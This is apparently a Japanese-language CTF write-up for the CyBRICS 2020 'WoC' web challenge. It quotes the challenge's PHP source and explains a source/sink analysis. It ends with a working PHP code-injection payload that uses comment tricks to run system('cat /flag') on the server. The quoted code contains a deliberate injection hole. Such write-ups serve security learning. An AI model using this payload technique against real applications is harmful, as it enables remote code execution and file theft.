CTFtime.org / CyBRICS CTF 2020
WoC (Web, Medium, 402 pts)
Author: Vlad Roskov (@mrvos)
http://109.233.57.94:40389/calcs/85d45135a1c6f4c3/cc4b5923-6498-44ff-391a-03a16f35d485.php
Heheh heh hehh... 🤓
Source code: woc.tar.gz
ファイルが多すぎる
こういう場合ってどこから手を付けたらいいんでしょうね?
解説を見る
唯一あったけど、google翻訳で読んだら分かった。
sourceとsink
こういう時はsourceとsinkを探せってじっちゃんが言ってた。
flag.txtがあるので、XSSとかではなく、LFIかRCEあたりでflag.txtを抜き出してくるのだろう。
抜き出すには、悪意あるコードをsourceから入れて、結果をsinkから抜き出すしかない。
source
- 電卓の計算を行う部分
- テンプレートを渡す部分
- 共有リンクを要求する部分
こういうのをちゃんと見ていかんといかんということよね。
実はテンプレートを渡す部分が正解ルート。
newtemplate.php
if (trim(@$_POST['html'])) {
do {
$html = trim($_POST['html']);
if (strpos($html, '<?') !== false) {
$error = "Bad chars";
break;
}
$requiredBlocks = [
'id="back"',
'id="field" name="field"',
'id="digit0"',
'id="digit1"',
'id="digit2"',
'id="digit3"',
'id="digit4"',
'id="digit5"',
'id="digit6"',
'id="digit7"',
'id="digit8"',
'id="digit9"',
'id="plus"',
'id="equals"',
];
foreach ($requiredBlocks as $block) {
if (strpos($html, $block) === false) {
$error = "Missing required block: '$block'";
break(2);
}
}
$uuid = uuid();
if (!file_put_contents("calcs/$userid/templates/$uuid.html", $html)) {
$error = "Unexpected error! Contact orgs to fix. cybrics.net/rules#contacts";
break;
}
redir(".");
} while (false);
}
'<?'が含まれているとダメみたい。
phpで動いているので、phpコードを差し込みたい所だけど、URLもhtmlだしダメかーとなるが、ここで入れたphpコードを実行する道筋がある。
sink
分かりやすいsinkとしては、以下。
- 電卓の計算結果
- 入力したテンプレート出力
下が答え。
if (trim(@$_POST['field'])) {
$field = trim($_POST['field']);
if (!preg_match('#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s', $field)) {
$value = "BAD";
} else {
if (@$_POST['share']) {
$calc = uuid();
file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
redir("?p=sharelink&calc=$calc");
} else {
try {
$value = eval("return $field;");
} catch (Throwable $e) {
$value = null;
}
if (!is_numeric($value) && !is_string($value)) {
$value = "ERROR";
} else {
$value = (string)$value;
}
}
}
echo "<script>var preloadValue = " . json_encode($value) . ";</script>";
}
確かに言われてみれば…
phpファイルを動的生成している。
このファイルに任意のPHPコードを入れ込めれば、実行可能だ。
payload
テンプレートとして、以下のようなファイルを送る。
<html> …正常なテンプレート… <html>*/;eval(system('cat /flag'))?>
で、$fieldに/*((*/1))/*を入れて、そのテンプレートを指定してshareする。
すると"<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html")の部分で、
<script>var preloadValue = <?=json_encode((string)(/*((*/1))/*))?>;</script>\n[calclib.htmlの中身]<html> …正常なテンプレート… <html>*/;eval(system('cat /flag'))?>
これをよーく見るとコメントでうまいこと消えて
<script>var preloadValue = <?=json_encode((string)(1));eval(system('cat /flag'))?>
となって見事PHPコード実行される形になっている。
あとは、このアップロード先を参照すればflagがcatされて出てくる。